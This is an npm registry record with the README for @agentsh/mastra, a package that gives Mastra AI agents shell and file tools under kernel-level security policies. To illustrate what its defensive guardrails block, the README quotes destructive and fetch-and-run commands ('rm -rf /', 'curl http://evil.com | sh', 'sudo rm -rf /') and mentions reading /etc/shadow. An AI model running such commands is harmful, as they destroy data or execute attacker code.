{"_id":"@agentsh/mastra","name":"@agentsh/mastra","dist-tags":{"latest":"0.1.0"},"versions":{"0.1.0":{"name":"@agentsh/mastra","version":"0.1.0","description":"AgentSH integration for MastraAI — secure, policy-enforced tools for Mastra agents","license":"Apache-2.0","repository":{"type":"git","url":"git+https://github.com/canyonroad/agentsh-mastra.git"},"type":"module","exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.js"}},"scripts":{"build":"tsc","typecheck":"tsc --noEmit","test":"vitest run","test:watch":"vitest","test:e2e":"vitest run --config vitest.e2e.config.ts","test:e2e:e2b":"vitest run --config vitest.e2e.config.ts e2e/e2b","test:e2e:daytona":"vitest run --config vitest.e2e.config.ts e2e/daytona","test:e2e:blaxel":"vitest run --config vitest.e2e.config.ts e2e/blaxel","test:e2e:vercel":"vitest run --config vitest.e2e.config.ts e2e/vercel","test:e2e:modal":"npx tsx e2e/modal-e2e-runner.ts","example:agent":"npx tsx examples/agent-e2b.ts","example:vercel":"npx tsx examples/vercel.ts","example:modal":"npx tsx examples/modal.ts"},"dependencies":{"@agentsh/secure-sandbox":"^0.4.0"},"peerDependencies":{"@mastra/core":">=0.10.0","zod":"^3.24.0"},"devDependencies":{"@anthropic-ai/sdk":"^0.88.0","@blaxel/core":"^0.2.79","@daytonaio/sdk":"^0.149.0","@mastra/core":"^1.24.1","@vercel/sandbox":"^1.9.3","dotenv":"^17.4.2","e2b":"^2.19.0","tsx":"^4.21.0","typescript":"^5.7.0","vitest":"^3.0.0","zod":"^3.24.0"},"gitHead":"07f30fc7ec05008dc15804769583c36caf586815","_id":"@agentsh/mastra@0.1.0","bugs":{"url":"https://github.com/canyonroad/agentsh-mastra/issues"},"homepage":"https://github.com/canyonroad/agentsh-mastra#readme","_nodeVersion":"25.9.0","_npmVersion":"11.12.1","dist":{"integrity":"sha512-eY+j3N6S1hEZzsljCDywosKbOcF43IVVkT53CYf331twtIgOegOh6736fFqdiw+CfPWDG9pRgq/XP4EThcUv9Q==","shasum":"6cb5362b5b6c09a53d6dd870a97edbbb8e7f7ade","tarball":"https://registry.npmjs.org/@agentsh/mastra/-/mastra-0.1.0.tgz","fileCount":27,"unpackedSize":44649,"signatures":[{"keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U","sig":"MEUCIQCl/cr+sasJGsYq41eq3La0D1N4JOf7a42u5YSDYHpmtwIgDuB+dyCU2OzHWHd2LliySGQi/qkceUhRERPX8f2jYcI="}]},"_npmUser":{"name":"canyonroad","email":"eran@canyonroad.ai"},"directories":{},"maintainers":[{"name":"canyonroad","email":"eran@canyonroad.ai"}],"_npmOperationalInternal":{"host":"s3://npm-registry-packages-npm-production","tmp":"tmp/mastra_0.1.0_1776107812136_0.2423217132148343"},"_hasShrinkwrap":false}},"time":{"created":"2026-04-13T19:16:51.996Z","0.1.0":"2026-04-13T19:16:52.286Z","modified":"2026-04-13T19:16:52.575Z"},"maintainers":[{"name":"canyonroad","email":"eran@canyonroad.ai"}],"description":"AgentSH integration for MastraAI — secure, policy-enforced tools for Mastra agents","homepage":"https://github.com/canyonroad/agentsh-mastra#readme","repository":{"type":"git","url":"git+https://github.com/canyonroad/agentsh-mastra.git"},"bugs":{"url":"https://github.com/canyonroad/agentsh-mastra/issues"},"license":"Apache-2.0","readme":"# @agentsh/mastra\n\nSecure, policy-enforced tools for [Mastra](https://mastra.ai) AI agents — powered by [AgentSH](https://agentsh.dev).\n\nGive your agents `executeBash`, `readFile`, and `writeFile` tools that enforce security policies at the kernel level. One function call, any sandbox provider.\n\n```typescript\nimport { agentshTools, agentDefault } from '@agentsh/mastra';\nimport { e2b } from '@agentsh/secure-sandbox/adapters/e2b';\n\nconst tools = agentshTools({\n  policy: agentDefault(),\n  sandbox: { adapter: e2b(sandbox) },\n});\n```\n\nThree Mastra-compatible tools. Automatic policy enforcement. Works with E2B, Daytona, Vercel, Blaxel, Modal — or any sandbox you can wrap in an adapter.\n\n## Why\n\nLLM agents that can execute code need guardrails. Without them, a single hallucinated `rm -rf /` or `curl http://evil.com | sh` can destroy your sandbox or exfiltrate data.\n\nAgentSH enforces security policies at the kernel level using seccomp and eBPF — not string matching, not prompt engineering. Policy violations are blocked before they execute and returned as structured results (exit code 126), not exceptions.\n\n`@agentsh/mastra` wraps this into Mastra's tool system so your agent gets secure shell, file read, and file write capabilities with zero boilerplate.\n\n## Features\n\n- **One-call setup** — `agentshTools()` returns three ready-to-use Mastra tools\n- **Kernel-level enforcement** — seccomp/eBPF policies, not string filters\n- **Any sandbox provider** — E2B, Daytona, Vercel, Blaxel, Modal, or bring your own\n- **Built-in policies** — `agentDefault()`, `devSafe()`, `ciStrict()`, composable with `merge()`\n- **Graceful denials** — blocked commands return exit code 126 with explanation, no crashes\n- **Works without Mastra** — call `tool.execute()` directly for scripted automation\n- **Lazy initialization** — sandbox provisioning happens on first tool call, not at import\n\n## Install\n\n```bash\nnpm install @agentsh/mastra @agentsh/secure-sandbox\n```\n\nPeer dependencies: `@mastra/core` and `zod`.\n\n## Quick Start\n\n### With a Mastra Agent\n\n```typescript\nimport { Agent } from '@mastra/core/agent';\nimport { agentshTools, agentDefault } from '@agentsh/mastra';\nimport { e2b } from '@agentsh/secure-sandbox/adapters/e2b';\nimport { Sandbox } from 'e2b';\n\nconst sandbox = await Sandbox.create('agentsh-sandbox');\n\nconst agent = new Agent({\n  id: 'secure-coder',\n  name: 'secure-coder',\n  instructions: 'You are a coding assistant with a secure sandbox.',\n  model: 'anthropic/claude-sonnet-4-20250514',\n  tools: agentshTools({\n    policy: agentDefault(),\n    sandbox: { adapter: e2b(sandbox) },\n  }),\n});\n\nconst response = await agent.generate(\n  'Write a Python script that prints Fibonacci numbers, save it, and run it.'\n);\n```\n\nThe agent gets `executeBash`, `readFile`, and `writeFile`. AgentSH blocks anything the policy doesn't allow — `sudo`, reading `/etc/shadow`, outbound network to unknown hosts — and returns a structured denial instead of crashing.\n\n### Without a Mastra Agent\n\nThe tools work standalone. Call `.execute()` directly for scripted automation, testing, or non-Mastra workflows:\n\n```typescript\nimport { agentshTools, agentDefault } from '@agentsh/mastra';\nimport { vercel } from '@agentsh/secure-sandbox/adapters/vercel';\nimport { Sandbox } from '@vercel/sandbox';\n\nconst sandbox = await Sandbox.create({ runtime: 'node24', timeout: 300_000 });\nconst tools = agentshTools({\n  policy: agentDefault(),\n  sandbox: { adapter: vercel(sandbox) },\n});\n\n// Direct execution — no agent needed\nconst result = await tools.executeBash.execute({ command: 'echo \"Hello!\"' }, {});\nconsole.log(result.stdout); // Hello!\n\nawait tools.writeFile.execute({ path: '/workspace/app.js', content: 'console.log(42)' }, {});\nconst run = await tools.executeBash.execute({ command: 'node /workspace/app.js' }, {});\nconsole.log(run.stdout); // 42\n```\n\n### Local Mode (No Sandbox)\n\nFor development, run against a local AgentSH installation:\n\n```typescript\nconst tools = agentshTools({\n  policy: agentDefault(),\n  workspace: '/tmp/agent-workspace',\n});\n```\n\n## Sandbox Providers\n\nAny sandbox supported by `@agentsh/secure-sandbox` works. Create the sandbox with the provider's SDK, wrap it with the adapter, pass it to `agentshTools()`:\n\n| Provider | Adapter | SDK |\n|----------|---------|-----|\n| [E2B](https://e2b.dev) | `@agentsh/secure-sandbox/adapters/e2b` | `e2b` |\n| [Daytona](https://daytona.io) | `@agentsh/secure-sandbox/adapters/daytona` | `@daytonaio/sdk` |\n| [Vercel](https://vercel.com/docs/sandbox) | `@agentsh/secure-sandbox/adapters/vercel` | `@vercel/sandbox` |\n| [Blaxel](https://blaxel.ai) | `@agentsh/secure-sandbox/adapters/blaxel` | `@blaxel/core` |\n| [Modal](https://modal.com) | `@agentsh/secure-sandbox/adapters/modal` | Python SDK (bridge) |\n\nThe pattern is always the same:\n\n```typescript\nimport { agentshTools } from '@agentsh/mastra';\nimport { providerName } from '@agentsh/secure-sandbox/adapters/providerName';\n\nconst tools = agentshTools({\n  sandbox: { adapter: providerName(rawSandbox) },\n});\n```\n\n### Modal (Python Bridge)\n\nModal's SDK is Python-only. The `modal` adapter works with a Python subprocess bridge that communicates over JSON-line protocol. See [`examples/modal.ts`](examples/modal.ts) for the full pattern.\n\n## Policies\n\nPolicies define what the agent can and cannot do. They're enforced at the kernel level — there's no way to bypass them from userspace.\n\n```typescript\nimport { agentDefault, devSafe, ciStrict, merge } from '@agentsh/mastra';\n\n// Built-in policies\nagentDefault()  // Safe defaults for AI agents\ndevSafe()       // Development-oriented (more permissive)\nciStrict()      // CI/CD lockdown\n\n// Compose policies\nconst custom = merge(agentDefault(), {\n  network: { allow: ['api.example.com:443'] },\n});\n\nconst tools = agentshTools({ policy: custom, sandbox: { adapter } });\n```\n\nWhen a command violates the policy, the tool returns a structured result:\n\n```typescript\nconst result = await tools.executeBash.execute({ command: 'sudo rm -rf /' }, {});\n// result.exitCode === 126\n// result.stderr contains the denial reason\n```\n\nNo exceptions. No crashes. The agent sees the denial and can adjust its approach.\n\n## API\n\n### `agentshTools(config?)`\n\nReturns `{ executeBash, readFile, writeFile }` — three Mastra-compatible tools.\n\n**Config:**\n\n```typescript\ninterface AgentSHToolsConfig {\n  policy?: PolicyDefinition;         // Security policy (default: agentDefault())\n  workspace?: string;                // Local mode: working directory\n  sandbox?: {\n    adapter: SandboxAdapter;         // Sandbox provider adapter\n    config?: Partial<SecureConfig>;  // AgentSH provisioning options\n  };\n}\n```\n\n**Tools:**\n\n| Tool | Input | Output |\n|------|-------|--------|\n| `executeBash` | `{ command, cwd?, timeout? }` | `{ stdout, stderr, exitCode }` |\n| `readFile` | `{ path }` | `{ content, success, error? }` |\n| `writeFile` | `{ path, content }` | `{ success, error? }` |\n\n## Examples\n\nRun the examples to see it in action:\n\n```bash\n# Mastra agent with E2B sandbox\nnpx tsx examples/agent-e2b.ts\n\n# Standalone tools with Vercel sandbox (no Mastra agent)\nnpx tsx examples/vercel.ts\n\n# Standalone tools with Modal sandbox (Python bridge)\nnpx tsx examples/modal.ts\n```\n\n## Testing\n\n```bash\n# Unit tests (30 tests, no sandbox needed)\nnpm test\n\n# E2E tests (requires provider credentials in .env.e2e)\nnpm run test:e2e:e2b\nnpm run test:e2e:daytona\nnpm run test:e2e:blaxel\nnpm run test:e2e:vercel\nnpm run test:e2e:modal\n```\n\n## License\n\nApache 2.0 — see [LICENSE](LICENSE).\n","readmeFilename":"README.md","_rev":"1-b7a3f5ee01bb2ae25067a8f099e8814a"}